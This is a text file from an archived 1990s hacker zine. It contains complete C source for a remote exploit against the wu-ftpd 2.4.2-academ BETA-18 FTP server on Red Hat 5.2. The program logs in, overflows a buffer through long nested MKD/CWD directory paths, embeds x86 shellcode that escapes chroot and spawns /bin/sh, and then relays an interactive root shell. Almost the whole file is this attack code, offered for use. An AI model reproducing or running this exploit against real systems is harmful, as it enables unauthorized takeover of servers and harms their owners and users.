home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Midnight-Raid / midnightRAID_iss4.docmaker.sit / midnightRAID_iss4.docmaker.rsrc / TEXT_148.txt < prev    next >
Text File  |  1999-03-25  |  8KB  |  285 lines

  1. /*
  2.         THIS IS PRIVATE! DO NOT DISTRIBUTE!!!!   PRIVATE!
  3.  
  4.         WU-FTPD REMOTE EXPLOIT Version wu-2.4.2-academ[BETA-18](1)
  5.         for linux x86 (redhat 5.2)
  6.  
  7.         by duke
  8.         duke@viper.net.au
  9.  
  10.         BIG thanks to stran9er for alot of help with part of the shellcode!
  11.         i fear stran9er, but who doesn't? !@$ :)
  12.  
  13.         Greets to: #!ADM, el8.org users,
  14.  
  15.         To exploit this remotely they need to have a directory you can
  16.         have write privlidges to.. this is the <dir> argument.. you can
  17.         also use this locally by specifying -l <ur login> -p <urpass> with the
  18.         <dir> = your home directory or something..(must begin with '/')
  19.         also alignment arg is how return address  is aligned.. shouldnt need it,
  20.         but if u do it should be between 0 and 3
  21.  
  22.         It takes about 10 seconds after "logged in" so be patient.
  23.         -duke
  24. */
  25.  
  26. #include <stdio.h>
  27. #include <string.h>
  28. #include <netdb.h>
  29. #include <netinet/in.h>
  30. #include <sys/socket.h>
  31. #include <sys/types.h>
  32. //#include <linux/time.h>
  33. //#include <sys/select.h>
  34. #include <sys/time.h>
  35. #include <unistd.h>
  36.  
  37. #define RET 0xbfffa80f
  38.  
  39. void logintoftp();
  40. void sh();
  41. void mkd(char *);
  42. int max(int, int);
  43. long getip(char *name);
  44.  
  45. char shellcode[] =
  46. "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\xb0\x17\xcd\x80"
  47. "\x31\xc0\x31\xdb\xb0\x2e\xcd\x80"
  48. "\xeb\x4f\x31\xc0\x31\xc9\x5e\xb0\x27\x8d\x5e\x05\xfe\xc5\xb1\xed"
  49. "\xcd\x80\x31\xc0\x8d\x5e\x05\xb0\x3d\xcd\x80\x31\xc0\xbb\xd2\xd1"
  50. "\xd0\xff\xf7\xdb\x31\xc9\xb1\x10\x56\x01\xce\x89\x1e\x83\xc6\x03"
  51. "\xe0\xf9\x5e\xb0\x3d\x8d\x5e\x10\xcd\x80\x31\xc0\x88\x46\x07\x89"
  52. "\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd"
  53. "\x80\xe8\xac\xff\xff\xff";
  54.  
  55. char tmp[256];
  56. char name[128], pass[128];
  57.  
  58. int sockfd;
  59.  
  60. int main(int argc, char **argv)
  61. {
  62.         char sendln[1024], recvln[4048], buf1[800], buf2[1000];
  63.         char *p, *q, arg, **fakeargv = (char **) malloc(sizeof(char *)*(argc + 1));
  64.         int len, offset = 0, i, align=0;
  65.         struct sockaddr_in cli;
  66.  
  67.         if(argc < 3){
  68.                 printf("usage: %s <host> <dir> [-l name] [-p pass] [-a <alignment>] [-o offset]\n", argv[0]);
  69.                 exit(0);
  70.         }
  71.  
  72.         for(i=0; i < argc; i++) {
  73.           fakeargv[i] = (char *)malloc(strlen(argv[i]) + 1);
  74.           strncpy(fakeargv[i], argv[i], strlen(argv[i]) + 1);
  75.         }
  76.  
  77.         fakeargv[argc] = NULL;
  78.  
  79.  
  80.         while((arg = getopt(argc,fakeargv,"l:p:a:o:")) != EOF){
  81.             switch(arg) {
  82.                   case 'l':
  83.                      strncpy(name,optarg,128);
  84.                      break;
  85.                   case 'p':
  86.                      strncpy(pass,optarg,128);
  87.                      break;
  88.                   case 'a':
  89.                      align=atoi(optarg);
  90.                      break;
  91.                   case 'o':
  92.                      offset=atoi(optarg);
  93.                      break;
  94.                   default:
  95.                      printf("usage: %s <host> <dir> [-l name] [-p pass] [-a <alignment>] [-o offset]\n", argv[0]);
  96.                      exit(0);
  97.                      break;
  98.              }
  99.         }
  100.  
  101.         if(name[0] == 0) strcpy(name, "anonymous");
  102.         if(pass[0] == 0) strcpy(pass, "hi@blahblah.net");
  103.  
  104.  
  105.         bzero(&cli, sizeof(cli));
  106.         bzero(recvln, sizeof(recvln));
  107.         bzero(sendln, sizeof(sendln));
  108.         cli.sin_family = AF_INET;
  109.         cli.sin_port = htons(21);
  110.         cli.sin_addr.s_addr=getip(argv[1]);
  111.  
  112.         if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
  113.                 perror("socket");
  114.                 exit(0);
  115.         }
  116.  
  117.         if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){
  118.                 perror("connect");
  119.                 exit(0);
  120.         }
  121.         while((len = read(sockfd, recvln, sizeof(recvln))) > 0){
  122.                 recvln[len] = '\0';
  123.                 if(strchr(recvln, '\n') != NULL)
  124.                         break;
  125.         }
  126.         logintoftp(sockfd);
  127.         printf("logged in.\n");
  128.         bzero(sendln, sizeof(sendln));
  129.  
  130.         for(i=align; i<996; i+=4)
  131.                 *(long *)&buf2[i] = RET + offset;
  132.         memcpy(buf2, "a", align);
  133.         memset(buf1, 0x90, 800);
  134.         memcpy(buf1, argv[2], strlen(argv[2]));
  135.         mkd(argv[2]);
  136.         p = &buf1[strlen(argv[2])];
  137.         q = &buf1[799];
  138.         *q = '\x0';
  139.         while(p <= q){
  140.                 strncpy(tmp, p, 200);
  141.                 mkd(tmp);
  142.                 p+=200;
  143.         }
  144.         mkd(shellcode);
  145.         mkd("bin");
  146.         mkd("sh");
  147.         p = &buf2[0];
  148.         q = &buf2[999];
  149.         while(p <= q){
  150.                 strncpy(tmp, p, 250);
  151.                 mkd(tmp);
  152.                 p+=250;
  153.         }
  154.         sh(sockfd);
  155.  
  156.  
  157.         close(sockfd);
  158.         printf("finit.\n");
  159. }
  160.  
  161. void mkd(char *dir)
  162. {
  163.         char snd[512], rcv[1024];
  164.         char blah[1024], *p;
  165.         int n;
  166.         struct timeval tv;
  167.  
  168.         fd_set fds;
  169.         bzero(&tv, sizeof(tv));
  170.         tv.tv_usec=50;
  171.         bzero(blah, sizeof(blah));
  172.         p = blah;
  173.          for(n=0; n<strlen(dir); n++){
  174.                 if(dir[n] == '\xff'){
  175.                         *p = '\xff';
  176.                         p++;
  177.                 }
  178.                 *p = dir[n];
  179.                 p++;
  180.         }
  181.         sprintf(snd, "MKD %s\r\n", blah);
  182.         write(sockfd, snd, strlen(snd));
  183.         bzero(snd, sizeof(snd));
  184.         sprintf(snd, "CWD %s\r\n", blah);
  185.         write(sockfd, snd, strlen(snd));
  186.         bzero(rcv, sizeof(rcv));
  187.  
  188.         FD_ZERO(&fds);
  189.         FD_SET(sockfd,&fds);
  190.         select(sockfd+1,&fds,NULL,NULL,&tv);
  191.  
  192.         if (FD_ISSET(sockfd,&fds))
  193.                 while((n = read(sockfd, rcv, sizeof(rcv))) > 0){
  194.                         rcv[n] = 0;
  195.                         if(strchr(rcv, '\n') != NULL)
  196.                                 break;
  197.                 }
  198.         return;
  199. }
  200.  
  201. void logintoftp()
  202. {
  203.         char snd[1024], rcv[1024];
  204.         int n;
  205.  
  206.         printf("logging in with %s: %s\n", name, pass);
  207.         memset(snd, '\0', 1024);
  208.         sprintf(snd, "USER %s\r\n", name);
  209.         write(sockfd, snd, strlen(snd));
  210.  
  211.         while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
  212.                 rcv[n] = 0;
  213.                 if(strchr(rcv, '\n') != NULL)
  214.                         break;
  215.         }
  216.  
  217.         memset(snd, '\0', 1024);
  218.         sprintf(snd, "PASS %s\r\n", pass);
  219.         write(sockfd, snd, strlen(snd));
  220.  
  221.         while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
  222.                 rcv[n] = 0;
  223.                 if(strchr(rcv, '\n') != NULL)
  224.                         break;
  225.         }
  226.         return;
  227. }
  228.  
  229. void sh()
  230. {
  231.         char snd[1024], rcv[1024];
  232.         fd_set rset;
  233.         int maxfd, n;
  234.  
  235.         strcpy(snd, "cd /; uname -a; pwd; id;\n");
  236.         write(sockfd, snd, strlen(snd));
  237.  
  238.         for(;;){
  239.                 FD_SET(fileno(stdin), &rset);
  240.                 FD_SET(sockfd, &rset);
  241.                 maxfd = max(fileno(stdin), sockfd) + 1;
  242.                 select(maxfd, &rset, NULL, NULL, NULL);
  243.                 if(FD_ISSET(fileno(stdin), &rset)){
  244.                         bzero(snd, sizeof(snd));
  245.                         fgets(snd, sizeof(snd)-2, stdin);
  246.                         write(sockfd, snd, strlen(snd));
  247.                 }
  248.                 if(FD_ISSET(sockfd, &rset)){
  249.                         bzero(rcv, sizeof(rcv));
  250.                         if((n = read(sockfd, rcv, sizeof(rcv))) == 0){
  251.                                 printf("EOF.\n");
  252.                                 exit(0);
  253.                         }
  254.                         if(n < 0){
  255.                                 perror("read");
  256.                                 exit(-1);
  257.                         }
  258.                         fputs(rcv, stdout);
  259.                 }
  260.         }
  261. }
  262.  
  263. int max(int x, int y)
  264. {
  265.         if(x > y)
  266.                 return(x);
  267.         return(y);
  268. }
  269.  
  270. long getip(char *name)
  271. {
  272.         struct hostent *hp;
  273.         long ip;
  274.  
  275.         if ((ip=inet_addr(name))==-1)
  276.         {
  277.                 if ((hp=gethostbyname(name))==NULL)
  278.                 {
  279.                         fprintf(stderr,"Can't resolve host.\n");
  280.                         exit (1);
  281.                 }
  282.                 memcpy(&ip, (hp->h_addr), 4);
  283.         }
  284.         return ip;
  285. }